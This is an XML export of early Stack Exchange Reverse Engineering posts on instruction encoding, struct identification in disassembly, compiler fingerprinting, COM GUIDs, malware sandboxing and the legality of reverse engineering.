[cut: only the first 33554432 bytes of this file were read]
<?xml version="1.0" encoding="utf-8"?>
<posts>
  <row Id="1" PostTypeId="1" AcceptedAnswerId="1721" CreationDate="2013-03-19T19:05:55.320" Score="32" ViewCount="810" Body="&lt;p&gt;When we're doing reverse engineering, we have a few levels of models. One of them is the instruction semantics model, which tells us what every native instruction does to modify instruction state. We're making progress there. However, another problem is that of platform semantics, which is at a higher level. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, a high-level model of a userspace linux program would need to include information about mprotect and that it can alter the visibility of certain regions of code. Threading and callback semantics are also a platform modeling issue, we can discover a programs entrypoint from its header (which is another kind of semantic! but one we're probably not going to compromise on), but other entrypoints are published in the program in the form of arguments to atexit, pthread_create, etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is our current best effort/state of the art at capturing this high level platform information in a way that is understood by practicioners? What about by mechanical / automated understanding systems? I know that IDA has (or has to have) information about different platform APIs, it seems to know that when an immediate is a parameter to pthread_create then that immediate is a pointer to code and should be treated as such. What do we have beyond that?&lt;/p&gt;&#xA;" OwnerUserId="32" LastEditorDisplayName="user12114" LastEditDate="2019-01-28T10:38:27.427" LastActivityDate="2019-01-28T10:38:27.427" Title="What is the current state of the art for platform modeling?" Tags="|code-modeling|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2" PostTypeId="1" CreationDate="2013-03-19T19:21:22.270" Score="23" ViewCount="4336" Body="&lt;p&gt;You all know there are people out there that use reverse engineering techniques to do bad things; this ranges from being able to use paid software for free (cracker) to finding vulnerabilities that allow them to do what they want when they want without permission (hacker). Of course, there is also a good side to it; we can use this to protect software against such people, use it to learn from things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But where does one know if he is allowed? How does one &lt;em&gt;ensure&lt;/em&gt; he conforms to laws and licenses?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Software and services do not always list this in their license or come with a NDA, I don't know if the law explicitly states anything about this; so, this would leave one to often be clueless ...&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;whether he is allowed to reverse engineer.&lt;/li&gt;&#xA;&lt;li&gt;whether he may use his findings, for which goals.&lt;/li&gt;&#xA;&lt;li&gt;under which conditions he may or may not publish his results.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;What to do when it is not stated? Does one have to explicitly ask it, or is their some rule on this?&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;It is wise to just ask; though a canonical answer would benefit the majority and spare out asking.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="54" LastEditorUserId="189" LastEditDate="2013-03-25T05:45:19.073" LastActivityDate="2013-03-25T05:45:19.073" Title="When is applying reverse engineering techniques acceptable?" Tags="|law|ethics|" AnswerCount="4" CommentCount="7" ClosedDate="2013-03-27T18:40:31.867" ContentLicense="CC BY-SA 3.0" />
  <row Id="3" PostTypeId="1" CreationDate="2013-03-19T19:22:23.853" Score="15" ViewCount="411" Body="&lt;p&gt;When doing RE on some Microsoft binaries I run across COM object references all the time.  Is there a good central place to translate some of the GUID's that I find to some sort of object type without having to follow it back to some known parent (if I am lucky?).  Would there be interest in establishing such a repository?&lt;/p&gt;&#xA;" OwnerUserId="66" LastEditorUserId="117" LastEditDate="2013-03-27T17:50:43.160" LastActivityDate="2013-03-27T17:50:43.160" Title="Is there a good reference for COM object signatures?" Tags="|windows|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4" PostTypeId="1" AcceptedAnswerId="136" CreationDate="2013-03-19T19:24:53.760" Score="24" ViewCount="7392" Body="&lt;p&gt;I took a basic 40-hr Reverse Engineering course a few summers ago. While teaching us to use IDAPro, the instructor demonstrated, rather quickly and without explaining much, how to label certain variables in the ASM as members of a structure, basically equivalent to a good old fashioned &lt;code&gt;struct&lt;/code&gt; in C/C++, and treat them as such wherever they are seen in the rest of the code. This seems rather useful to me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What he did not cover, however, was how to identify a structure. How do you know when a group of variables does in fact constitute a structure and not just a set of related variables? How can you be sure that the author used a &lt;code&gt;struct&lt;/code&gt; (or something similar) there?&lt;/p&gt;&#xA;" OwnerUserId="63" LastEditorUserId="63" LastEditDate="2015-08-26T14:29:23.343" LastActivityDate="2016-06-22T12:46:47.807" Title="How is a structure located within a disassembled program?" Tags="|ida|assembly|struct|" AnswerCount="7" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5" PostTypeId="1" AcceptedAnswerId="12" CreationDate="2013-03-19T19:30:22.060" Score="27" ViewCount="4448" Body="&lt;p&gt;I'm writing a small utility library for hooking functions at run time. I need to find out the length of the first few instructions because I don't want to assume anything or require the developer to manually input the amount of bytes to relocate and overwrite.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are many great resources to learn assembly but none of them seem to go into much detail on how assembly mnemonics get turned into raw binary instructions.&lt;/p&gt;&#xA;" OwnerUserId="16" LastEditorUserId="1315" LastEditDate="2013-03-31T12:33:23.710" LastActivityDate="2022-07-19T02:03:53.573" Title="How are x86 CPU instructions encoded?" Tags="|assembly|x86|" AnswerCount="8" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6" PostTypeId="2" ParentId="5" CreationDate="2013-03-19T19:35:23.160" Score="11" Body="&lt;p&gt;You can use a disassembler to go from binary opcodes to assembly code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example &lt;code&gt;ndisam&lt;/code&gt; command is able to do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have the following binary opcodes (hex view of file):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;31C0FFC0C3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You will get the following output when disassembling it with &lt;code&gt;ndisasm&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000000  31C0              xor ax,ax&#xA;00000002  FFC0              inc ax&#xA;00000004  C3                ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where the first column is the file offset, the second is the binary opcodes and the final row is the assembly code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could then get the second column and get the string length of it and divide by 2 and you would have the length of the instruction in bytes.&lt;/p&gt;&#xA;" OwnerUserId="40" LastEditorUserId="40" LastEditDate="2013-03-19T19:42:38.130" LastActivityDate="2013-03-19T19:42:38.130" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7" PostTypeId="2" ParentId="2" CreationDate="2013-03-19T19:39:34.403" Score="7" Body="&lt;p&gt;If you have a legal issue you consult with a lawyer. Even a lawyer will never ensure you of anything. They will provide legal advice based on precedent. If you want to explore the matter in depth you need to go to trial.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, and this is not legal advice, in the USA you are generally allowed to publish anything which is not covered under a agreement between you and another party stating that you will not do so and which is not &lt;a href=&quot;http://papers.ssrn.com/sol3/papers.cfm?abstract_id=958099&quot;&gt;classified information&lt;/a&gt;. This is because of your first amendment rights.&lt;/p&gt;&#xA;" OwnerUserId="70" LastActivityDate="2013-03-19T19:39:34.403" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8" PostTypeId="2" ParentId="2" CreationDate="2013-03-19T19:45:57.040" Score="23" Body="&lt;p&gt;The answer, as in most things, is &quot;it depends&quot;. Firstly, it depends on the country you are in, different countries have different rules with respect to reverse engineering. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now in the United States reverse engineering is generally considered to be a legitimate form of discovery mainly due to the fact that it encourages innovation. There is legal precedence for reverse engineering being lawful:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://supreme.justia.com/cases/federal/us/416/470/&quot;&gt;US Supreme Court - Kewanee Oil v. Bicron - 1974&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://supreme.justia.com/cases/federal/us/489/141/case.html&quot;&gt;US Supreme Court - Bonito Boats. v. Thunder Craft - 1989&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Most major companies &lt;em&gt;do&lt;/em&gt; buy and reverse engineer products of competitors once they are available, my source for that is myself as I worked for a cell phone company that engaged in that exact practice. Typically speaking, if you &lt;em&gt;buy&lt;/em&gt; a device you're free to do whatever you want with it; trade secret law only protects the owner of the secret from others improper acquiring of that secret (you don't break into someone else' place of work and take a prototype)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The scope of a NDA is totally different. If the company &lt;em&gt;tells you&lt;/em&gt; about un-patented trade secrets, you can't disclose that information. Once the company patents the secret, it's no longer a secret (you don't even have to reverse engineer at that point, the details are available from the patent office) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As there is legal precedence to allow reverse engineering, you can publish your results. It happens all the time. When a company doesn't want you doing this, they put &lt;strong&gt;layers and layers&lt;/strong&gt; of security in the code to protect it. Again... the cell phone company I worked for did this with the bootloader. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;....that said, bypassing anticircumvention devices is a separate issue covered by &lt;a href=&quot;http://www.copyright.gov/1201/&quot;&gt;section 1201 of the DMCA&lt;/a&gt; which forbids reverse engineering if it involves circumvention of a technological protection measure. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if you want to learn how something works, if you want to make sure you have interoperability with a product, if you want to do encryption research or security testing... go for it. If you want to reverse engineer some software to make a key gen so people don't have to buy it... I would keep that to yourself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps.&lt;/p&gt;&#xA;" OwnerUserId="34" LastEditorUserId="34" LastEditDate="2013-03-19T20:01:47.267" LastActivityDate="2013-03-19T20:01:47.267" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9" PostTypeId="2" ParentId="4" CreationDate="2013-03-19T19:54:04.177" Score="23" Body="&lt;p&gt;You can't. In C, structs are there for the readers of the C program and their use in the program image is kinda optional. It's entirely possible that in the original program some crazy jerk decided to do everything with perfectly-sized char* buffers and cast and add appropriately, and you would never know the difference. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The 'struct' labeling is entirely for your benefit as a code viewer. It could very well be that struct labels you apply to a program are actually two variables always stored next to each other. This won't matter as long as it doesn't lead you to false conclusions about what the program does though. &lt;/p&gt;&#xA;" OwnerUserId="32" LastActivityDate="2013-03-19T19:54:04.177" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="10" PostTypeId="2" ParentId="5" CreationDate="2013-03-19T19:56:01.573" Score="3" Body="&lt;p&gt;The ground truth on instruction decoding can be found in the processors manual for software developers. Assembler authors need to know this, so the information is there. For Intel, it's in the beginning of Volume 2A (I think, I lost track since they smushed all the manuals into one PDF). There's a big table that defines how prefixes are encoded, how opcodes are encoded, and how operands are encoded. It's not the easiest reading, but it's there...&lt;/p&gt;&#xA;" OwnerUserId="32" LastActivityDate="2013-03-19T19:56:01.573" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11" PostTypeId="1" AcceptedAnswerId="21" CreationDate="2013-03-19T20:01:48.563" Score="34" ViewCount="11436" Body="&lt;p&gt;When I am looking at the machine code of an application, are there hints and patterns I can discern from the generated machine code which would indicate which compiler (and possibly version) was used to generate it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does knowing the compiler used to generate an application help me to more effectively reverse engineer back from the generated object to what the source code might have been, and if it does help, how so?&lt;/p&gt;&#xA;" OwnerUserId="93" LastEditorUserId="60" LastEditDate="2013-03-23T17:25:37.130" LastActivityDate="2015-09-09T15:15:02.167" Title="What hints in machine code can point me to the compiler which was used to generate it?" Tags="|assembly|compilers|object-code|hll-mapping|" AnswerCount="7" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12" PostTypeId="2" ParentId="5" CreationDate="2013-03-19T20:02:17.547" Score="21" Body="&lt;p&gt;If you want to understand the instruction encodings in detail you need to study &lt;a href=&quot;http://download.intel.com/products/processor/manual/325383.pdf&quot;&gt;Intel® 64 and IA-32 Architectures Software Developer’s Manual Volume 2 (Instruction Set Reference, A-Z)&lt;/a&gt;. Be aware that Intel IA-32 and AMD64 are very complicated instruction sets and in order to hook a function which is not specifically designed to be hooked by injecting a jump you will run into a great number of different instructions. There is no guarantee that the function even has a stack frame set up. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are libraries which can do the disassembly and hooking for you, such as &lt;a href=&quot;http://research.microsoft.com/en-us/projects/detours/&quot;&gt;Detours&lt;/a&gt; by Microsoft Research.&lt;/p&gt;&#xA;" OwnerUserId="70" LastActivityDate="2013-03-19T20:02:17.547" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13" PostTypeId="2" ParentId="5" CreationDate="2013-03-19T20:02:39.540" Score="3" Body="&lt;p&gt;The &lt;a href=&quot;http://www.cs.uaf.edu/2006/fall/cs301/support/x86/reference.pdf&quot; rel=&quot;nofollow&quot;&gt;IA-32 Intel® Architecture Software Developer’s Manual Vol. 2&lt;/a&gt; in all its mind-numbing glory.&lt;/p&gt;&#xA;" OwnerUserId="75" LastEditorUserId="189" LastEditDate="2013-03-31T03:32:46.300" LastActivityDate="2013-03-31T03:32:46.300" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14" PostTypeId="2" ParentId="4" CreationDate="2013-03-19T20:10:18.000" Score="10" Body="&lt;p&gt;The easiest way of knowing when you are dealing with a structure, is when the code is calling functions for which you know (or documentation states) takes a structure as an argument.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example the &lt;code&gt;in_addr&lt;/code&gt; structure of the &lt;code&gt;inet_ntoa&lt;/code&gt; function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given that IDA didn't figure this out in the first place.&lt;/p&gt;&#xA;" OwnerUserId="74" LastEditorUserId="74" LastEditDate="2013-03-19T20:19:41.997" LastActivityDate="2013-03-19T20:19:41.997" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15" PostTypeId="2" ParentId="11" CreationDate="2013-03-19T20:17:20.743" Score="3" Body="&lt;p&gt;If you just talk about the machine code (or Assembly code), there isn't much information. Most modern compilers will produce similar output or the output won't be enough to see differences. One thing that may give indication is compiler optimization, which I am not experienced with and someone else should chime in. If you do have the entire ELF file though, and symbols are available, you may be able to draw conclusions based on what kinds of libraries are linked (for example, &lt;code&gt;libgcc&lt;/code&gt; would be a giveaway) or the names of compiler specific functions. If the ELF contains debugging information you may even see things like &quot;GCC: (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3&quot;. If you are dealing with C++ code the symbol name mangling can give it away.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, as you asked yourself, I am curious why you need this information. I don't know how much help you will get by knowing the compiler that made it will do. I do more work with ARM and I know with that platform, there is a Application Binary Interface that compilers/assembly code must adhere to. This ABI gives information about how functions should be called, what registers should be used for what, and etc. I know for platforms without a strict ABI, operating systems often give information to developers about such topics. Regardless, compilers all should create compatible code so I don't know of any use for identifying the compiler that created the code.&lt;/p&gt;&#xA;" OwnerUserId="98" LastEditorUserId="245" LastEditDate="2013-04-17T05:18:08.323" LastActivityDate="2013-04-17T05:18:08.323" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16" PostTypeId="2" ParentId="2" CreationDate="2013-03-19T20:22:02.697" Score="16" Body="&lt;p&gt;The book  &lt;em&gt;&lt;a href=&quot;http://www.wiley.com/WileyCDA/WileyTitle/productCd-0764574817.html&quot; rel=&quot;noreferrer&quot;&gt;Reversing: Secrets of Reverse Engineering by Eldad Eilam&lt;/a&gt;&lt;/em&gt; provides some guidance on the legality of reverse engineering within the United States. The book recommends seeking legal counsel before starting any &amp;quot;high risk&amp;quot; reversing project, and then gives the following sections as guidelines as high risk.&lt;/p&gt;&#xA;&lt;h3&gt;Interoperability&lt;/h3&gt;&#xA;&lt;p&gt;Using reverse engineering for interoperability purposes has been supported in the US judicial system.  Accolade, A California-based game developer was &lt;a href=&quot;http://en.wikipedia.org/wiki/Sega_v._Accolade&quot; rel=&quot;noreferrer&quot;&gt;sued by for copyright infringement in 1991&lt;/a&gt; by Sony after reverse-engineering the Sega Genesis programming interface and publishing games for the Sega Genesis.  Accolade won the court case because the Accolade games did not contain any of Sega's code and because of the public benefit resulting in the increased competition.&lt;/p&gt;&#xA;&lt;h3&gt;Competition&lt;/h3&gt;&#xA;&lt;p&gt;Reverse engineering may be considered illegal when used to steal code from a competing process.&lt;/p&gt;&#xA;&lt;h3&gt;Trade Secrets and Patents&lt;/h3&gt;&#xA;&lt;p&gt;Reverse engineering patented technology would not make sense since the patent information is already public. Trade secrets exist to protect developers in the case where a malicious employee may attempt to sell of a secret to a competitor.  A product being a trade secret does not protect its the developer in cases where a competitor reverse engineers the product as long as the product is available on the open market and was obtained legitimately.&lt;/p&gt;&#xA;&lt;h3&gt;Digital Millennium Copyright Act&lt;/h3&gt;&#xA;&lt;p&gt;The DMCA legally protects &lt;em&gt;copyright protection systems&lt;/em&gt; from circumvention.  The DMCA does not apply to any other type of copyrighted software, and therefore many reverse engineering efforts will not be subject to rules and exceptions granted by the DMCA. The things that are explicitly prohibited under the DMCA:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Circumvention of copyright protection systems&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Development of circumvention technologies&lt;/strong&gt;. The book mentions specifically that a keygen would be a good example of a circumvention technology. But the book does not mention how tools use to create circumvention technologies (IDA Pro, for instance) are covered.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;However, there are exceptions in which circumvention is allowed.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Interoperability&lt;/strong&gt; &amp;quot;reversing and circumventing DRM technologies may be allowed in circumstances where such work is needed in order to interoperate with the software product in question. For example, if a program was encrypted for the purpose of copy protecting it, a software developer may decrypt the program in question if that's the only way to interoperate with it.&amp;quot;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Encryption Research&lt;/strong&gt; Circumvention is allowed so long as the protection technologies interfere with the evaluation of the encryption technology&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Security Testing&lt;/strong&gt; Reversing and circumvention is allowed for the purpose of &amp;quot;evaluating or improving the security of a computer system&amp;quot;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Government Investigation&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Regulation&lt;/strong&gt; The DCMA allows for DRM technologies to be subvereted for the purposes of regulating the materials accessible to minors on the internet.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Protection of privacy&lt;/strong&gt; &amp;quot;Products that collect or transmit personal information may be reversed and any protection technologies they include may be circumvented.&amp;quot;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3&gt;License Agreement Considerations&lt;/h3&gt;&#xA;&lt;p&gt;With regard to the anti-reverse-engineering clauses found within software license agreements, Eilam says there is no single, authoritative answer and that it all depends on the specific circumstances of the reverse-engineering effort.&lt;/p&gt;&#xA;&lt;p&gt;Wikipedia also has a &lt;a href=&quot;http://en.wikipedia.org/wiki/Reverse_engineering#Legality&quot; rel=&quot;noreferrer&quot;&gt;section on the legality of reverse engineering&lt;/a&gt; which claims that &amp;quot;courts have found such contractual prohibitions to override the copyright law which expressly permits it; see &lt;a href=&quot;http://en.wikipedia.org/wiki/Bowers_v._Baystate_Technologies&quot; rel=&quot;noreferrer&quot;&gt;Bowers v. Baystate Technologies&lt;/a&gt;&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;It should be noted that &lt;em&gt;Bowers v. Baystate Technologies&lt;/em&gt; established that license agreements can preempt fair use rights as well as expand the rights of copyright holders beyond those codified in US federal law.&lt;/p&gt;&#xA;" OwnerUserId="36" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2013-03-22T21:39:50.697" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17" PostTypeId="2" ParentId="4" CreationDate="2013-03-19T20:32:13.617" Score="12" Body="&lt;p&gt;Finding structs is tricky, but can help in understanding the code a lot. As Andrew said, structs are just an C abstraction and in assembly, it is just a blob of memory and there is no fool proof way of identifying structs. However, for simpler programs, some heuristics can be helpful. For example, &quot;small&quot; sized arrays are more likely to be structs than giant arrays. Seeing, for example, ints read from a loop would make it appear to be an array, while reading a couple of ints at some constant offset would make it look more like a struct. Another way is seeing the same group of dereferences happening in different areas of the code. If two different functions take some pointer as paramater and both try to deference offset 0x10 followed by 0x18 followed by 0x14 or something, it could be code setting fields of a struct. Also, any access of different sized data dereferenced from a single inputted pointer is a good indicator.&lt;/p&gt;&#xA;" OwnerUserId="98" LastActivityDate="2013-03-19T20:32:13.617" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18" PostTypeId="2" ParentId="3" CreationDate="2013-03-19T20:32:14.847" Score="7" Body="&lt;p&gt;I don't know of any repository but the Ole/COM Object Viewer (oleview.exe) does a lot of the dereferencing in a reasonably convenient way. I think it comes with most Visual Studios and is in various Windows resource kits.&lt;/p&gt;&#xA;" OwnerUserId="103" LastActivityDate="2013-03-19T20:32:14.847" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19" PostTypeId="2" ParentId="2" CreationDate="2013-03-19T20:40:51.370" Score="10" Body="&lt;p&gt;It may also be worth considering how laws can be abused to pressure those engaged in reverse engineering to stop and withdraw their findings - the anti-circumvention provisions on the DMCA is often abused for this reason.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A great example is the factoring of the &lt;a href=&quot;http://spectrum.ieee.org/consumer-electronics/gadgets/for-texas-instruments-calculator-hackers-dont-add-up/0&quot;&gt;TI-83+&lt;/a&gt; signing key - the intent wasn't to enable piracy, but TI used this claim to try and stop the research. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The EFF has &lt;a href=&quot;https://www.eff.org/press/releases/fifteen-years-dmca-abuse&quot;&gt;documented&lt;/a&gt; a number of cases of such abuse - it's a disturbingly common tactic to stop researchers. Even in cases where you are fully within your rights, it's hard to fight an army of lawyers.&lt;/p&gt;&#xA;" OwnerUserId="13" LastActivityDate="2013-03-19T20:40:51.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20" PostTypeId="2" ParentId="11" CreationDate="2013-03-19T20:46:15.103" Score="11" Body="&lt;p&gt;When looking at Machine code there typically is a &quot;trail&quot; that can be followed unless the produced binary was some how scrubbed. For example I generated a small &quot;hello world&quot; application using GCC on my Linux box with the standard options &lt;code&gt;gcc -Wall hello.c&lt;/code&gt; now if you take a tool like &lt;a href=&quot;http://manpages.ubuntu.com/manpages/hardy/man1/hexedit.1.html&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;hexedit&lt;/code&gt;&lt;/a&gt; you can see in the machine code there is a section containing build information:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1E46S.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Clearly you can see in there yes, I built this with GCC version 4.6.3. Other compilers will have other types of signatures &lt;a href=&quot;http://www.ntcore.com/Files/richsign.htm&quot; rel=&quot;noreferrer&quot;&gt;Microsoft's &quot;rich&quot; signature&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="34" LastActivityDate="2013-03-19T20:46:15.103" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21" PostTypeId="2" ParentId="11" CreationDate="2013-03-19T20:46:22.327" Score="30" Body="&lt;p&gt;There is some academic research in this area, the keywords you want are 'toolchain provenance'. There was a pretty good paper by &lt;a href=&quot;ftp://ftp.cs.wisc.edu/paradyn/papers/Rosenblum10prov.pdf&quot;&gt;Nate Rosenblum on this topic&lt;/a&gt;, it's been a while since I read this paper but you can use many techniques to establish this information. I think some use machine learning and others can use a big pile of heuristics or axioms about compiler behavior. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Establishing this is of limited utility IMO. It could be useful in an adversarial situation where you're trying to get intelligence about a malware group or threat actor, but also keep in mind that this kind of information can be obfuscated or destroyed. One potential use of this information would be to establish that some binary software was compiled using some companies SDK that included a compiler with signature information unique to that company. Establishing the tool chain provenance can help you make a case that someone who bought your SDK is in violation of a license or contract, say by producing malware. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;An example of behavior differences is parameter writing. There are two ways to place a value onto the stack, one using 'push' and another using &lt;code&gt;mov&lt;/code&gt; with an address based in &lt;code&gt;esp&lt;/code&gt; as the destination operand. So one compiler can do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;push eax&#xA;push ebx&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And another can do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;mov [esp+foo], eax&#xA;mov [esp+foo+4], ebx&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And they do. Generally, MSVC does the first example and GCC does the second example, at least in some very limited testing/observation just now...&lt;/p&gt;&#xA;" OwnerUserId="32" LastEditorUserId="245" LastEditDate="2013-04-17T05:16:36.050" LastActivityDate="2013-04-17T05:16:36.050" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22" PostTypeId="2" ParentId="3" CreationDate="2013-03-19T20:57:35.850" Score="16" Body="&lt;p&gt;There is such a list here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://mikolajapp.appspot.com/uuid/uuidmap&quot; rel=&quot;noreferrer&quot;&gt;http://mikolajapp.appspot.com/uuid/uuidmap&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you use IDA, consider enabling the COM Helper plugin. When you create an instance of a &lt;code&gt;GUID&lt;/code&gt; structure, it checks the list loaded from cfg/clsid.cfg and, if a match found, renames the location automatically and tries to import &quot;&lt;code&gt;&amp;lt;Classname&amp;gt;Vtbl&lt;/code&gt;&quot; structure from the loaded type libraries, so you can start using that structure to identify called methods.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a short demo:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/60QJc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="60" LastEditDate="2013-03-19T21:17:38.627" LastActivityDate="2013-03-19T21:17:38.627" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23" PostTypeId="1" AcceptedAnswerId="30" CreationDate="2013-03-19T21:27:57.400" Score="66" ViewCount="5498" Body="&lt;p&gt;I've recently managed to isolate and archive a few files that managed to wreak havoc on one of my client's systems. So I was wondering what software and techniques make the best sandbox for isolating the code and digging into it to find out how it works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Usually, up to this point in time I would just fire up a new VMWare or QEMU instance and dig away, but I am well aware that some well-written malware can break out of a VM relatively easily. So I am looking for techniques (Like using a VM with a different emulated CPU architecture for example.) and software (Maybe a sandbox suite of the sorts?) to mitigate the possibility of the code I am working on &quot;breaking out&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What techniques do you recommend? What software do you recommend?&lt;/p&gt;&#xA;" OwnerUserId="115" LastEditorUserId="60" LastEditDate="2013-03-21T07:03:47.743" LastActivityDate="2013-04-07T15:33:26.567" Title="How can I analyze a potentially harmful binary safely?" Tags="|virtual-machines|malware|sandbox|security|" AnswerCount="4" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="24" PostTypeId="2" ParentId="11" CreationDate="2013-03-19T21:29:37.497" Score="10" Body="&lt;p&gt;There was a presentation at Recon titled &quot;Packer Genetics: The Selfish Code&quot; that described one approach for this. They used some statistics to extract the most common code sequences from compiled programs and used it to detect the end of unpacking, but the approach can be used easily to identify specific compilers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See from slide 15 here: &lt;a href=&quot;http://blog.zynamics.com/2010/07/16/recon-slides-packer-genetics-the-selfish-code-bochspython/&quot;&gt;http://blog.zynamics.com/2010/07/16/recon-slides-packer-genetics-the-selfish-code-bochspython/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The slides seem somewhat truncated, I believe the actual presentation had more info.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2013-03-19T21:29:37.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
